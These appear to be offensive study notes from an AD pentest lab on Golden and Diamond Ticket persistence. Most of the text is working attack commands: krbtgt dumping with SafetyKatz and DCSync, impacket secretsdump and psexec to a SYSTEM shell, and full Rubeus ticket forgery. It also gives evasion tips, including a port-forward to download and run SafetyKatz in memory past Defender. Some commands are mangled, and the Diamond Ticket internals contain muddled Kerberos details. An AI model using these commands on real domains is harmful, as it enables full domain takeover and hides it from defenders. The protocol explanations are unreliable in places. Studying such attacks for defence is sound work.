Notes

🔒 Persistence

Domain persistence: Golden/Silver/Diamond tickets, AdminSDHolder, DSRM, Skeleton Key.

Persistence

Golden Ticket Attack

Understanding The Core Concept

🔐 What Is a Golden Ticket?

A Golden Ticket is a forged Kerberos TGT (Ticket Granting Ticket), which uses the krbtgt account’s secret key to sign the ticket. Since all TGTs are signed by the krbtgt account, having its hash (or AES key) allows an attacker to create arbitrary TGTs for any user — even if that user doesn’t exist.


🧱 Golden Ticket Rule (in Layman Terms):

If an attacker has the krbtgt hash (or AES key), the domain SID, and other basic user info (e.g. username, group memberships), they can impersonate any user in the domain by crafting a fake TGT.

🧱 Core Ingredients for Golden Ticket Attack

You need:

Ingredient | Why it’s needed |
— | — |
krbtgt hash (NTLM or AES256) | To sign the fake TGT (like faking a stamp/seal) |
Domain SID | Uniquely identifies the domain |
User details (e.g., Administrator) | Who you want to impersonate |
Group SIDs | To inherit permissions like Domain Admin |
Domain info | e.g., FQDN, NetBIOS, PWDLastSet — for realism |

🔧 How the Golden Ticket Attack Works (Step-by-Step)


Step 1: Compromise the Domain

Before anything, the attacker must compromise a privileged account, usually a Domain Admin.

This gives them access to read the memory or replicate secrets from the Domain Controller.


Step 2: Steal the krbtgt Account Hash

The krbtgt account is a special user in every AD domain — it’s used by the Kerberos service to sign Ticket Granting Tickets (TGTs).

The attacker needs the krbtgt password hash, especially the AES256 or NTLM hash, to forge their own TGTs.

There are two common ways to get this:

  • Dump LSASS memory on the Domain Controller using Mimikatz or SafetyKatz.

  • Use DCSync to remotely request the krbtgt account’s password data (no code needed on DC).


Additonal Information:

The krbtgt account is just like any other domain account — it has a password and derived Kerberos keys (NT hash, AES128, AES256, DES, etc.).

On a Domain Controller (KDC), those secrets are stored in Active Directory database (NTDS.dit).

Located at:


C:\Windows\NTDS\NTDS.dit

Step 3: Forge the Golden Ticket

With the krbtgt hash in hand, the attacker uses tools like Rubeus or Mimikatz to forge a TGT.

They can craft it to:

  • Impersonate any user (even Administrator).

  • Be a part of any group (like Domain Admins).

  • Add details like password set date, group SIDs, etc., to make it look authentic.

  • Make the ticket valid for 10 years if they want.


Additonal Information:-

The krbtgt account (which is used by the KDC to sign and encrypt Ticket Granting Tickets) maintains a password history of two previous keys by default. When you perform a Golden Ticket attack and sign a TGT using an old krbtgt AES key (from before a password change), the KDC can still validate and decrypt that TGT because it will try not only the current key but also the last one (sometimes two, depending on configuration).

So even if the krbtgt password has been rotated, any ticket forged with one of the valid historical keys will still be accepted until both old keys have been cycled out (e.g., after two password changes).

⚠️ What this means:

  • If an attacker has extracted the krbtgt hash once, they can forge Golden Tickets that remain valid until the krbtgt password has been changed twice.

  • This is why incident response teams are instructed to reset the krbtgt account twice in succession, ensuring all old keys are invalidated.


Step 4: Use the Ticket (God Mode Activated)

The attacker injects the forged ticket into memory on their system using /ptt (Pass-the-Ticket). Now, any requests they send to services (like SMB, LDAP, RDP) include this ticket.

Since it looks legit, the DC doesn’t challenge it. The attacker now:

  • Accesses sensitive servers

  • Dumps password hashes

  • Moves laterally

  • Dumps or modifies Active Directory itself


🧬 Why It’s So Dangerous

Reason | Explanation |
— | — |
Bypasses Passwords & MFA | Doesn’t matter what the user’s password is, or if MFA is enabled. |
Fully Offline | Once the ticket is forged, DC is not contacted again unless needed. |
Stealthy | No brute force, no malware needed on target — just a valid-looking ticket. |
Persistent | As long as krbtgt password remains the same, the attacker can keep forging tickets. |
Complete Control | Can impersonate any user, including domain admins, service accounts, etc. |

Note:- In real-world assessments, Golden Ticket attacks are typically avoided unless the objective is to test detection capabilities. This is because the attack involves the krbtgt account, which is a highly sensitive system account used by the Kerberos Key Distribution Center. You not find anywhere this account to be logged in accept DC.

The primary detection risk in a Golden Ticket attack isn’t the ticket forgery itself, but the act of obtaining the krbtgt hash — which typically requires access to a Domain Admin session on a Domain Controller. Logging in as a Domain Admin, through any machine which is not DC, generates Event ID 4624, which is closely monitored by most EDRs and SIEMs. As a result, this step can easily trigger alerts, making the operation high-risk from an opsec standpoint.

Only go after protected group accounts when no option is left because these account are highly monitored.

🔁 3. Ticket Forged – What Next?

Once forged, Rubeus injects it into memory (/ptt). Now:

  • You are effectively “logged in” as Administrator.

  • TGT will be accepted as valid by any service in the domain (because it’s signed with krbtgt’s key)

  • You can access file shares, remote desktop, AD data, or run tools like SharpHound, secretsdump, or dcsync.

  • The DC will trust the ticket, even if the real admin changed passwords.

  • The forged TGT remains valid until expiry (usually 10 hours by default), but you can forge again anytime.

Advantage of Golden Ticket

🔍 Persistance Peroid of Golden Ticket Attack

1. Golden Ticket Persistence

  • A Golden Ticket is forged using the krbtgt account hash.

  • Persistence: Valid until the krbtgt account password is changed.

    • By default, krbtgt rarely changes because it’s a sensitive account (resetting can disrupt Kerberos).
    • In most real environments, admins don’t rotate it often → meaning Golden Tickets can last for months/years if unnoticed.

🎯 The Point of Forging a Golden Ticket

  1. Persistence (long-term backdoor):
    • DA rights can be removed (your admin user deleted, passwords rotated, etc.).
    • But if you’ve stolen the krbtgt hash, you can always mint a new Golden Ticket on demand — even months later.
    • It’s like having a skeleton key to the domain until the defenders rotate krbtgt twice.
  2. Stealth:
    • Using DA account directly leaves traces in event logs (logons, group memberships, etc.).
    • A forged Golden Ticket can impersonate any user or a fake user (with arbitrary groups), making it harder to correlate activities.
  3. Flexibility:
    • You don’t have to stick with the DA account you compromised.
    • You can forge tickets for any account (e.g., a service account or a fake user) with any group memberships you want.
    • Example: Forge a ticket for a helpdesk user but sneak in Domain Admins group membership.
  4. Bypass of normal credential protections:
    • Even if defenders disable the compromised DA account, you still have unlimited access via forged tickets.
    • This is why Golden Tickets are considered a persistence technique more than just a lateral movement trick.
  5. Cross-forest or selective abuse:
    • Sometimes you don’t want to move as “Administrator.”
    • Forging a ticket for a trusted account in a forest/domain trust scenario can be more effective and less noisy.

⚖️ Simplified Analogy

  • Getting DA = you broke into the bank vault with all the money.

  • Golden Ticket = you made a master key that always works, even if the bank changes the locks or fires the guard who let you in.


👉 So the value isn’t privilege escalation, it’s persistence, stealth, and flexibility.

Example - Windows

🛠️ Step-by-Step Golden Ticket Attack :


🔑 1. Obtain the krbtgt Account Hash (AES256 key)

This is the most critical step in forging a golden ticket.

Method 1: Using SafetyKatz on the DC (as Domain Admin)


C:\AD\Tools\SafetyKatz.exe "lsadump::lsa /patch"
  • Tool: SafetyKatz (a variant of Mimikatz).

  • What it does: Dumps LSA secrets, including the krbtgt NTLM and AES256 keys.

  • Where: Must be run on the DC with DA privileges.

  • Detection risk: HIGH (needs code execution on the DC).

Method 2: Using DCSync (No code execution on DC)


C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:dcorp\krbtgt" "exit"
  • Uses Directory Replication Service (DRS) to fetch the krbtgt hash remotely.

  • Requires DA privileges or replication rights (e.g., Replicating Directory Changes permissions).

  • More stealthy and opsec friendly as no code runs on the DC, it’s just a protocol request

Obtained AES256 Key:


154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848

🧪 2. Forge the Golden Ticket Using Rubeus

You use this krbtgt AES256 key to generate a fake TGT with Rubeus.

Option 1: automatic mode with LDAP queries


C:\AD\Tools\Rubeus.exe golden

/aes256:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848

/sid:S-1-5-21-719815819-3726368948-3917688648

/ldap

/user:Administrator

/printcmd

What it does:

  • golden → Instructs Rubeus to forge a Golden Ticket (a fake TGT).

  • /aes256:... → Supplies the AES256 key of the krbtgt account (essential to sign the ticket).

  • /sid:... → Domain SID; required to build the full user SID.

  • /ldap → Makes Rubeus automatically query the Domain Controller via LDAP to pull extra attributes needed for the ticket (like groups, logon count, pwdlastset, etc.).

  • /user:Administrator → Username to impersonate in the forged TGT.

  • /printcmd → Instead of creating the ticket directly, it prints a full “ready to run” forging command with all the discovered attributes.

👉 Here, Rubeus sends 3 LDAP queries to the DC:

  1. Gets user account control (UAC) flags for Administrator.

  2. Gets group memberships, primary group ID, minPwdAge, maxPwdAge.

  3. Gets domain NetBIOS name.

This version is very easy but less OPSEC-friendly since the LDAP queries can be logged/monitored.

Option 2: manual mode — refined Golden Ticket forging


C:\AD\Tools\Rubeus.exe golden

/aes256:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848

/user:Administrator /id:500 /pgid:513

/domain:dollarcorp.moneycorp.local

/sid:S-1-5-21-719815819-3726368948-3917688648

/pwdlastset:"11/11/2022 6:33:55 AM"

/minpassage:1 /logoncount:2453 /netbios:dcorp

/groups:544,512,520,513

/dc:DCORP-DC.dollarcorp.moneycorp.local

/uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD

/ptt

This command forges a Kerberos Ticket Granting Ticket (TGT) for the Administrator user, signs it with the krbtgt AES256 hash, and then injects it directly into memory (/ptt) so the current session can use it for domain access without needing a real password.

👉 This command does not query LDAP. Instead, you supply all required attributes yourself — making it more stealthy/OPSEC friendly.

Explanation of Key Parameters:

Parameter | Meaning / Purpose |
— | — |
Rubeus.exe golden | Invokes the Golden Ticket forging module in Rubeus |
/aes256:<hash> | The AES256 key of the krbtgt account — used to sign the fake TGT so it appears valid to the DC |
/user:Administrator | The username the ticket will impersonate (in this case, the domain admin account) |
/id:500 | RID (Relative ID) of the Administrator account in AD (500 = default RID for built-in admin) |
/pgid:513 | Primary Group ID — usually 513 = Domain Users |
/domain:dollarcorp.moneycorp.local | Fully Qualified Domain Name (FQDN) of the AD domain |
/sid:S-1-5-21-... | The Domain SID — critical for forging valid tickets |
/pwdlastset:"11/11/2022 6:33:55 AM" | Timestamp indicating when the password was last set (optional cosmetic realism) |
/minpassage:1 | Minimum password age in days (optional, helps look like a legit ticket) |
/logoncount:2453 | Number of times the user has logged on (also for realism) |
/netbios:dcorp | The NetBIOS name of the domain (short name) |
/groups:544,512,520,513 | The group RIDs the user belongs to:🔹 544 = Administrators🔹 512 = Domain Admins🔹 520 = Enterprise Admins🔹 513 = Domain UsersThis makes the forged ticket grant high-level access |
/dc:DCORP-DC.dollarcorp.moneycorp.local | The FQDN of the Domain Controller to target or contact |
/uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD | UserAccountControl flags — e.g. normal account, password never expires |
/ptt or /ticket | Pass-the-Ticket(/ptt): injects the forged ticket into the current session’s memory (no need to save it to disk)

/ticket - saves ticket to a file for later usage |

“When forging a Golden Ticket, make sure its lifetime matches the target environment. By default, Kerberos tickets last about 10 hours, but tools like Mimikatz may create tickets that last for 10 years, which can be easily detected. To stay stealthy, set a realistic lifetime using options like /endin:8h in Rubeus.”

When forging a Golden Ticket, it’s important to base it on a valid, active user account rather than a dormant or the built-in Administrator account. Using inactive accounts or Administrator directly can trigger suspicion — for example, the logon count of those accounts will suddenly increase after years of inactivity, which can stand out in monitoring tools and SIEM alerts. Forging tickets for a legitimate, regularly used account blends better with normal domain activity and is less likely to be detected.

What if we impersonate a non-existing user?

Surprisingly:

It can still work.

Because during TGS validation, the KDC mainly checks:


Is the TGT correctly signed with krbtgt key?

It does not always verify the user exists in AD.

So the ticket could contain:


username = hacker123

RID = 5000

And the KDC may still issue service tickets.


5️⃣ Why This Is Possible

Kerberos is stateless regarding TGT issuance.

The KDC does not store issued tickets.

Instead it just:


decrypt TGT using krbtgt key

If decryption succeeds:


ticket = trusted

That’s it.


6️⃣ But In Practice Attackers Avoid Fake Users

Even though it works, operators usually impersonate real accounts.

Reasons:

1️⃣ Logging anomalies

Logs may show:


User: hacker123

but that user doesn’t exist in AD.

SOC tools can detect that.


2️⃣ Some services perform directory checks

Some applications query AD:


Does this user exist?

If not → access denied.


3️⃣ SID mismatch detection

A forged user might produce strange SIDs like:


S-1-5-21-xxx-xxx-xxx-9999

which defenders can flag.


7️⃣ Realistic Attacker Strategy

Instead attackers usually forge tickets for:


existing admin accounts

service accounts

regular users with admin groups

Example:


svc_backup

helpdesk_admin

dbadmin

This blends into normal activity

Example - Linux

🔑 Step 1 — Obtain the krbtgt Hash

The Golden Ticket requires the hash/key of the krbtgt account, because:

The KDC signs all TGTs using the krbtgt key.

If you have the key, you can sign your own TGT, and the Domain Controller will trust it.


Method 1 — Using DCSync (Most Common)

From Linux using Impacket:


impacket-secretsdump pirate.htb/administrator:'Password@123!'@DC01.pirate.htb

or using pass-the-hash


impacket-secretsdump-hashes :NTLMHASH pirate.htb/administrator@DC01.pirate.htb

What happens internally

secretsdump performs a DCSync attack.

It asks the DC:

“Hey, I am a domain controller. Send me replication data.”

The DC sends password hashes of domain users, including:


krbtgt:502:aad3b435b51404eeaad3b435b51404ee:154cb6624b1d859f7080a6615adc488f

Important values:

Field | Meaning |
— | — |
502 | RID of krbtgt |
NTLM hash | used for signing Kerberos tickets |

Example Output


[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:154cb6624b1d859f7080a6615adc488f

You extract:


krbtgt NTLM hash

or AES keys if present.


🧪 Step 2 — Gather Domain Information

To forge a Golden Ticket you need:

Required Value | Example |
— | — |
Domain | pirate.htb |
Domain SID | S-1-5-21-1234-5678-9012 |
User to impersonate | Administrator |
RID | 500 |
krbtgt hash | obtained above |

Getting Domain SID

Using lookupsid


impacket-lookupsid pirate.htb/administrator:'Password@123!'@DC01.pirate.htb

Output:


[*] Domain SID is: S-1-5-21-719815819-3726368948-3917688648

Save this.


🧪 Step 3 — Forge Golden Ticket (ticketer.py)

Now we generate the fake TGT.


impacket-ticketer \

-nthash 154cb6624b1d859f7080a6615adc488f \

-domain-sid S-1-5-21-719815819-3726368948-3917688648 \

-domain pirate.htb \

-user-id 500 \

Administrator

Explanation of Parameters

Parameter | Meaning |
— | — |
ticketer.py | Impacket tool that creates forged Kerberos tickets |
-nthash | NTLM hash of krbtgt account |
-domain-sid | Domain SID used to build user SID |
-domain | Target domain |
-user-id | RID of impersonated user |
Administrator | Username we are forging |

What the Tool Does Internally

ticketer.py creates a fake TGT containing:


User: Administrator

SID: S-1-5-21-xxxx-xxxx-xxxx-500

Groups: Domain Admins

Ticket lifetime

Kerberos flags

Then it signs the ticket using the krbtgt key.

Because the DC trusts krbtgt, it accepts the ticket.


Output


[*] Saving ticket in Administrator.ccache

The forged Golden Ticket is saved as:


Administrator.ccache

🎟️ Step 4 — Load the Golden Ticket

Set the Kerberos ticket environment variable.


exportKRB5CCNAME=Administrator.ccache

Verify ticket:


klist

Output:


Ticket cache: FILE:Administrator.ccache

Default principal: Administrator@PIRATE.HTB

🚀 Step 5 — Use the Ticket to Access Domain Services

Now we can authenticate without a password.


Example 1 — Access SMB


impacket-smbclient-k-no-pass //DC01.pirate.htb/C$

Explanation:

Flag | Meaning |
— | — |
-k | Use Kerberos |
-no-pass | Do not request password |
SMB path | Access admin share |

Example 2 — Execute Commands on DC


impacket-psexec-k-no-pass pirate.htb/Administrator@DC01.pirate.htb

Result:


C:\Windows\system32>

You now have SYSTEM shell on the Domain Controller.


Example 3 — Dump Domain Again


impacket-secretsdump-k-no-pass pirate.htb/Administrator@DC01.pirate.htb

Works because the ticket gives DA privileges.


⚠️ Why Golden Ticket Is So Powerful

Golden Ticket allows:

Capability | Reason |
— | — |
Login as any user | Ticket contains arbitrary username |
Add admin privileges | Groups are embedded in ticket |
Persistent access | Ticket lifetime can be years |
Bypass password resets | Only krbtgt rotation invalidates |

Ticket Lifetime

Bad attackers create 10 year tickets.

Better approach:


-end-time 8h

Match environment Kerberos lifetime.


Avoid Using Administrator

Using Administrator triggers alerts because:


LogonCount suddenly increases

Better:


Forge ticket for active admin user

Example:


svc_backup

helpdesk_admin

🔥 The Critical Defense

The ONLY way to invalidate Golden Tickets:


Rotate krbtgt password twice

Reason:

AD stores two krbtgt hashes for ticket validation.


⭐ Key Insight (Very Important)

Golden Ticket works because:


Service does NOT contact DC to validate TGT signature

Instead:


Service trusts krbtgt key used to sign ticket

So if you know krbtgt key → you become the KDC.

Windows PoC - Example

In past videos we know svcadmin is the domain admin and we have the AES key of it. So, we will you this key to start a session of svcadmin using overpass the hash.


Rubeus.exe asktgt  /user:svcadmin /aes256 <aes_key> /opsec 

/createnetonly:C:\Windows\System32\cmd.ece /show /ptt

OR

C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args asktgt /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

This will open a new cmd with elevated privileges of svcadmin.

Next run dcsync attack, which will allow us request krbtgt hash:


C:\AD\Tools\Loader.exe -path C:\AD\Tools\SafetyKatz.exe 

"lsadump::dcsync /user:dcorp\krbtgt" "exit"

OR

C:\AD\Tools\Loader.exe -path C:\AD\Tools\SafetyKatz.exe -

args "lsadump::evasive-dcsync /user:dcorp\krbtgt" "exit"    ----> prefered

In output we got NTLM hash, AES 256 and 128 hash. For forging the golden ticket use AES256 key hash, because modern system uses AES256 keys

Alternate method instead of dcsync:

Transfer Loader.exe to the domain controller, being svcadmin - doman admin, it can copy files to the dc.

Next connect to the DC using winrs:


echo F| xcopy c:\User\Public\Loader.exe \\dcorp-dc\C$\Users\Public\Loader.exe /Y

winrs -r:dcorp-dc cmd

now create port forwarding for protecting from defender:


netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 

connectport=80 connectaddress=172.16.100.1

next download and execute safetykatz in the memory:


C:\Users\Public\Loader.exe -path [http://127.0.0.1:8080/Safetykatz.exe](http://127.0.0.1:8080/Safetykatz.exe) 

-args "lsadump::evasive-lsa" "exit"

this will provide us with RC4(NTLM) keys of krbtgt account, inorder to get the AES key you have dcsync attack(which we performed above)

Next we will forge the golden ticket using option1 method:


C:\AD\Tools\Rubeus.exe golden

/aes256:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848

/sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator

/printcmd

Or

C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe evasive-golden

/aes256:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848

/sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator

/printcmd                                                         -------> prefered

same command as above but in one line:-

C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args evasive-golden /aes256:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /printcmd

the output of the previous command suggest the next command to use, make required adjustments to the command:


C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args evasive-Golden

/aes256:154CB6624B1D859F7080A6615ADC488F09F92843879B3D914CBCB5A8C3CDA848

/user:Administrator

/id:500

/pgid:513

/domain:dollarcorp.moneycorp.local

/sid:S-1-5-21-719815819-3726368948-3917688648

/pwdlastset:"11/11/2022 6:34:22 AM"

/minpassage:1

/logoncount:153

/netbios:dcorp

/groups:544,512,520

/dc:DCORP-DC.dollarcorp.moneycorp.local

/uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD

/ptt

Same command but in one line:-

C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args evasive-Golden /aes256:154CB6624B1D859F7080A6615ADC488F09F92843879B3D914CBCB5A8C3CDA848 /user:Administrator /id:500 /pgid:513 /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /pwdlastset:"11/11/2022 6:34:22 AM" /minpassage:1 /logoncount:153 /netbios:dcorp /groups:544,512,520 /dc:DCORP-DC.dollarcorp.moneycorp.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD /ptt

Above command will forge the golden ticket on behalf of Administrator and will import it in the current session

Now Accessing DC on behalf of Administrator

Diamond Ticket Attack

Understanding The Core Concept

💎 What is a Diamond Ticket Attack?

A Diamond Ticket is a Kerberos TGT modification attack.

Unlike Golden Ticket (which creates a fake TGT from scratch), Diamond Ticket modifies a real TGT issued by the domain controller, then re-encrypts it using the krbtgt keys to make it stealthy and valid.

🔹 Difference from Golden Ticket

  • Golden Ticket = forging a brand-new TGT from scratch.

  • Diamond Ticket = modifying an already valid TGT.

Why is this important?

  • Golden Ticket leaves no AS-REQ trail (no log showing the ticket was ever requested).

  • Diamond Ticket has valid timestamps and log evidence (because the original TGT came from the DC).

  • This makes Diamond Ticket more OPSEC safe (harder to detect).

The Golden Ticket attack involves creating a completely new TGT (Ticket Granting Ticket) offline using the krbtgt account hash, without any interaction with the KDC. However, in certain environments, the KDC keeps track of AS-REQ (Authentication Service Request) logs and correlates issued TGTs with corresponding requests. Since a Golden Ticket never involves a real AS-REQ, the KDC has no record of issuing that TGT, which can potentially trigger detections or alerts.

To overcome this limitation and improve stealth, attackers use the Diamond Ticket attack, where they start with a legitimate TGT issued by the KDC, then decrypt, modify, and re-encrypt it using the krbtgt key. This way, the ticket appears legitimate, matches the original AS-REQ record, and bypasses detections based on missing Kerberos ticket issuance logs.

✅ Key Properties:

Property | Description |
— | — |
🔐 Attack Type | TGT modification, not creation |
🔑 Requires | krbtgt key (AES preferred), and valid TGT |
🕵️‍♂️ OPSEC | High stealth: ticket times & structure match legit ones |
🎫 TGT Status | Modified copy of a real TGT (not a forged one) |
🧪 Tool | Uses Rubeus.exe with /diamond option |

🔍 Why is it called “Diamond Ticket”?

  • It’s sharper and stealthier than Golden Ticket.

  • It’s a modified legit TGT, not a fabricated one.

  • It appears 100% legitimate to the DC since it’s based on a valid ticket.

  • Detection is very difficult since the ticket times, structure, and signatures are correct.


🔹 Persistence

  • Just like a Golden Ticket, the persistence lifetime of a Diamond Ticket depends on the krbtgt account password/keys.

  • If the krbtgt key is rotated twice, both Golden and Diamond Tickets become invalid.

Why It’s Stealthier Than Golden Ticket

Factor | Golden Ticket | Diamond Ticket |
— | — | — |
AS-REQ | ❌ Forged from scratch (suspicious) | ✅ Legitimate (normal logon) |
Log Entry 1 | Suspicious: User never logged in but has TGT | Normal: User legitimately requested TGT |
Temporal Accuracy | ⚠️ Manually calculated (errors possible) | ✅ DC timestamps (always accurate) |
PAC Structure | ⚠️ Forged PAC (structure might have errors) | ✅ Real PAC modified (structure perfect) |
Session Key | Forged | Legitimate from DC |
Detection Difficulty | Easier to detect TGT without proper auth | Harder—looks like normal login |

✅ Diamond is stealthier because:

  • Legitimate initial TGT request logs normally

  • No suspicious “user requested TGT with PA-PAC-REQUEST=false”

  • Ticket times are always correct (no calculation errors)

  • Event logs show normal user authentication

Diagram Explanation

Rubeus Command Structure


rubeus.exe diamond /tgtdeleg /ticketuser:DOMAIN\Username /ticketuserid:1106 

  /groups:512 /krbkey:KRBTGT_KEY_HEX /outfile:ticket.kirbi

Core Parameters Explained

Parameter | Purpose | Component Role |
— | — | — |
diamond | Selects the attack mode | Routing to Diamond ticket logic |
/tgtdeleg | Request TGT via delegation | Legitimate TGT retrieval module |
/ticketuser | Target user identity to forge | User spoofing component |
/ticketuserid | RID of forged user | SID generator |
/groups | Forged group memberships | PAC privilege escalation |
/krbkey | KRBTGT master key (AES256) | Cryptographic signing engine |
/outfile | Save forged ticket to disk | Serialization module |

Internal Components Architecture


┌─────────────────────────────────────────────────────┐

│           RUBEUS DIAMOND TICKET ENGINE               │

└─────────────────────────────────────────────────────┘

                          │

        ┌─────────────────┼─────────────────┐

        │                 │                 │

    ┌───▼────┐       ┌───▼────┐       ┌───▼────┐

    │ TGT    │       │ TICKET │       │ PAC    │

    │RETRIEVAL       │MODIFIER        │SIGNER  │

    └────────┘       └────────┘       └────────┘

        │                 │                 │

        │                 │                 │

    1️⃣ LEGITIMATE    2️⃣ MODIFY      3️⃣ RE-SIGN

      AS-REQ/TGT      PLAINTEXT      WITH KRBTGT

        │                 │                 │

        └─────────────────┼─────────────────┘

                          │

                     ┌────▼─────┐

                     │ ENCRYPT   │

                     │ & EXPORT  │

                     └───────────┘

                          │

                     ticket.kirbi

Component 1: TGT Delegation Retrieval (/tgtdeleg)

What It Does

Requests a legitimate Ticket-Granting Ticket from the Domain Controller using the current user’s credentials.

Internal Operations


Step 1: AS-REQ Construction

├─ client_name = current_user

├─ realm = DOMAIN

├─ nonce = random_32bit

└─ cname = client principal name

Step 2: Cryptographic Binding

├─ Derive key from user password (PBKDF2)

├─ Create PA-ENC-TIMESTAMP

│  └─ Timestamp encrypted with user's key

└─ Sign request with user's credentials

Step 3: DC Response (AS-REP)

├─ Receive encrypted TGT

├─ Decrypt using user's password-derived key

└─ Extract plaintext TGT components

What Rubeus Extracts from TGT


// From the encrypted TGT blob

struct TicketData {

    int flags;                    // Renewable, forwarded, etc.

    string realm;                 // DOMAIN.COM

    string server_name;           // krbtgt/DOMAIN.COM

    Timestamp auth_time;          // When TGT was created

    Timestamp start_time;         // Valid from

    Timestamp end_time;           // Expires (typically 10 hours)

    Timestamp renew_till;         // Can renew until

    Ticket ticket;                // Encrypted AS-REP part

    EncryptedData enc_part;       // Encrypted TGT contents

}

Component 2: Ticket Modifier

What It Modifies


┌──────────────────────────────────────┐

│   DECRYPT TGT (using KRBTGT key)     │

└──────────────────────────────────────┘

                  │

    ┌─────────────┼─────────────┐

    │             │             │

    ▼             ▼             ▼

 PRINCIPAL    GROUPS        TIMESTAMPS

  NAMES     (RIDs/SIDs)

    │             │             │

With /ticketuser:DOMAIN\NewUser

├─ Replace cname (client name)

├─ Replace crealm (client realm)

└─ Update name-type indicator

With /groups:512

├─ 512 = Domain Admins RID

├─ Insert SID: S-1-5-21-DOMAIN-512

└─ Update PAC_GROUPS_AND_RESOURCE_GROUPS

With /krbkey:HEX_KEY

├─ Use for decryption operations

└─ Use for re-signing operations

Encrypted Part Decryption


Encrypted TGT (from DC) 

    │

    ├─ Algorithm: AES256-CTS (RFC 3962)

    ├─ Key: KRBTGT master key (AES256 derived from password)

    └─ IV: First 16 bytes of encrypted blob

    │

    ▼

EncKDCRepPart (plaintext)

├─ Key (session key for this TGT)

├─ Last-req

├─ Nonce (should match request nonce)

├─ Flags

└─ **PAC (Privilege Attribute Certificate)**

Component 3: PAC Modifier & Signer

This is the most critical component for the attack.

PAC Structure


PAC Buffer (within TGT)

│

├─ PAC_LOGON_INFO (0)

│  ├─ User Name

│  ├─ Domain Name

│  ├─ User RID

│  ├─ Primary Group RID

│  ├─ Group Count

│  └─ Group RIDs ◄─── MODIFIED HERE

│

├─ PAC_CREDENTIAL_INFO (1)

│  └─ Encrypted with session key (not modified)

│

├─ PAC_SERVER_CHECKSUM (6) ◄─── RE-SIGNED HERE

│  ├─ Algorithm: HmacSHA1 or HmacSHA256

│  ├─ Signed over: PAC_LOGON_INFO + other buffers

│  └─ Key: KRBTGT key

│

└─ PAC_PRIVSVR_CHECKSUM (7) ◄─── RE-SIGNED HERE

   ├─ Algorithm: HmacSHA1 or HmacSHA256

   ├─ Signed over: All other buffers

   └─ Key: KRBTGT key

Modification Workflow in Rubeus


1. DESERIALIZE (unmarshal ASN.1)

   ├─ Parse DER-encoded TGT structure

   └─ Convert to C# objects

2. DECRYPT enc_part (using KRBTGT key)

   ├─ Extract session key

   ├─ Extract PAC buffer array

   └─ Locate LogonInfo buffer

3. MODIFY LOGON_INFO

   ├─ Update user_name = /ticketuser value

   ├─ Update user_rid = /ticketuserid value

   ├─ Update GroupIds array

   │  └─ For each RID in /groups:

   │     ├─ Create SID: S-1-5-21-DOMAIN-RID

   │     └─ Append to GroupIds

   └─ Recalculate buffer offsets

4. RE-CALCULATE CHECKSUMS

   ├─ Server Checksum:

   │  └─ HMAC-SHA256(KRBTGT_key, PAC_LogonInfo)

   ├─ KDC Checksum:

   │  └─ HMAC-SHA256(KRBTGT_key, all_other_buffers)

   └─ Update checksum buffers in PAC

5. RE-ENCRYPT enc_part

   ├─ Encrypt modified EncKDCRepPart

   ├─ Algorithm: AES256-CTS

   └─ Key: KRBTGT key (again)

Component 4: Ticket Re-Encryption & Serialization

Final Encryption


Modified EncKDCRepPart (plaintext with new PAC)

    │

    ├─ Cipher: AES256-CTS

    ├─ Key: KRBTGT key

    └─ Generate random IV

    │

    ▼

Encrypted Blob

    │

    ├─ Concatenate: IV + Ciphertext

    └─ Store in Ticket structure

Ticket {

    tkt_vno = 5 (Kerberos version)

    realm = DOMAIN.COM

    sname = krbtgt/DOMAIN.COM

    enc_part {

        etype = 18 (AES256-CTS)

        cipher_text = [IV + encrypted_data]

    }

}

Kirbi Format Export


Rubeus exports as .kirbi (Rubeus native format)

│

├─ File Header: "Kirbi" magic bytes

├─ TGT Structure: Full Ticket + optional Service Ticket

└─ Base64 encoding (optional, depending on flag)

Alternative exports:

├─ /outfile:ticket.kirbi     → Binary kirbi format

├─ /outfile:ticket.b64       → Base64-encoded kirbi

└─ /copy                     → Load directly to memory

Key Cryptographic Operations

1. Key Derivation (for understanding)


KRBTGT_KEY (AES256) derivation:

┌─────────────────────────────────────────┐

│ Pbkdf2_HMAC_SHA1(password, salt, iterations)

├─ password = KRBTGT account password

├─ salt = DOMAIN.COMkrbtgt (realm + SPN)

├─ iterations = 4096

└─ output = 32 bytes (AES256 key)

└─────────────────────────────────────────┘

2. HMAC Checksum (critical for PAC)


Server Checksum (protects PAC_LOGON_INFO):

─────────────────────────────────────────

checksum = HMAC-SHA256(

    key = KRBTGT_KEY,

    message = PAC_LOGON_INFO buffer

)

output = 32 bytes (SHA256 produces 32)

KDC Checksum (protects everything else):

─────────────────────────────────────────

checksum = HMAC-SHA256(

    key = KRBTGT_KEY,

    message = PAC_SERVER_CHECKSUM || PAC_CREDENTIAL_INFO || ...

)

How Rubeus Handles Encryption/Decryption

